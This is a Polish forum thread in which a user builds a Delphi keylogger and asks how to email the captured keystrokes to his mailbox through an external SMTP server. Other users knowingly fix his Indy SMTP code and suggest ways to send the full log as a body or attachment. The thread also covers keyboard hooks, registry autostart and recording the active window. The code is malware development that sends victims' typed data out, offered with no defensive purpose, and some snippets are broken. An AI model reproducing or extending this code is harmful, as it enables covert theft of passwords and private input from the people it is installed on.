Memo jako treść maila

[Gaweł11]

Napisałem sobie taki prograik (keylogger) i chcę aby przesyłał to co jest w Memo1 na maila. Mam taki kod:
IdMessage1.Body.Append := 'Memo1';
IdMessage1.Recipients.EMailAddresses := 'ciach';
IdMessage1.From.name:= 'od Franka';
IdMessage1.Subject := 'TEMAT';
idSMTP1.Password := 'ciach';
idSMTP1.Username := 'ciach';
idSMTP1.Host := 'smpt.wp.pl';
IdSMTP1.AuthenticationType:= atLogin;
IdSMTP1.Connect;
try
IdSMTP1.Send(IdMessage1);
finally
IdSMTP1.Disconnect;
end;

No i program się niekompiluje wyskauje "[Error] evulkey.pas(57): Not enough actual parameters"
Proszę o pomoc.

 

[rafal]

IdMessage1.Body.add(Memo1.Text);, mozesz tez dac petle ktora bedzie dodawac po kolei linie. A co do Twojego bledu to skad mamy wiedziec co to za plik i ktora to linia !!? skoro wkleiles tylko kawalek kodu...

 

[FDJ]

/edit tak jak mowi mass
po drugie blad moze nie wystepowac w tem miejscu tylko ze jako tresc wiadomosci zostanie wyslane

memo1[/b]

 

[Gaweł11]

Dzięki

Dzięki. Wysyła jak trzeba ale tak jak mówił mass tylko pierwszą linię więc zamiast zakładać pętlę wpadłem na inny pomysł. Logi będą zapisywane do pliku .txt i wysyłane w załżczniku. Mam coś takiego:

begin

AssignFile(TXT,'aaa.txt');

Append(TXT);

Memo1.Lines.SaveToFile('aaa.txt');

CloseFile(TXT);

end;

I niesety znowu to się nie kompiluje. Są errory:
[Error] evulkey.pas(57): '(' expected but ')' found
[Error] evulkey.pas(57): Incompatible types
[Error] evulkey.pas(58): '(' expected but ')' found
[Error] evulkey.pas(59): ')' expected but identifier 'Memo1' found
[Error] evulkey.pas(60): '(' expected but ')' found
[Error] evulkey.pas(61): ')' expected but 'END' found
[Fatal Error] evulkeylogmailer.dpr(5): Could not compile used unit 'evulkey.pas'
.
Niemam pojęcia co w tym kodzie jest źle.

 

[rafal]

ale glupota...
to powinno smigac na 100% i wysyla wszystko a nie jedna linie (w poprzednim przykladzie zapomnialem wpisac LINES) :

IdMessage1.Body.Add(Memo1.Lines.Text)   ;

petla to bedzie tak :

for i=0 to i=Memo1.Lines.Count-1 do

begin

IdMessage1.Body.Add(Memo1.Lines.Strings[i]);

end

a jak sie juz uparles na ten plik TXT to rob tak :

Memo1.Lines.SaveToFile('plik.txt');

...

IdMessage1.Body.LoadFromFile('plik.txt');

pisze to z glowy ale powinno to smigac

w ogole widze ze powstaje kolejnny keylogger ;P

[Fatal Error] evulkeylogmailer.dpr(5): Could not compile used unit 'evulkey.pas'

 

[Gaweł11]

Dzięki po raz 2

Dzięki po raz 2. 4 godziny nad tym już siedzę. Z tym "Lines" to też próbowałem ale zrobiłem błąd i napisałem "Liles" i się dziwię czemu nie działa ;p Ogólnie keyloga mam prawie gotowego (jeszcze tylko rejestr i dposiywanie do autostartu) ale niewiem czy taki chłam można wypuszczać do neta(bo porówanie mojego keya z np. VSK to jak porównywanie Nissana do trabanta)

 

[FDJ]

Re: Dzięki po raz 2

Originally posted by Gaweł11
Dzięki po raz 2. 4 godziny nad tym już siedzę. Z tym "Lines" to też próbowałem ale zrobiłem błąd i napisałem "Liles" i się dziwię czemu nie działa ;p Ogólnie keyloga mam prawie gotowego (jeszcze tylko rejestr i dposiywanie do autostartu) ale niewiem czy taki chłam można wypuszczać do neta(bo porówanie mojego keya z np. VSK to jak porównywanie Nissana do trabanta)

Uzywales hook'ow czy keyspy ?
Jak hooka to nawet porzadny keylogger.

 

[Gaweł11]

Hook

Użyłem hooka na klawaiturę. KeySpy mnie strasznie wkurzało z powodu logowanie myszysz(a co mi to da że kliknołem myszką). Muszę jeszcze tylko wykombinować umieszcanie w logu nazwy aktywnej aplikacji i będzie git.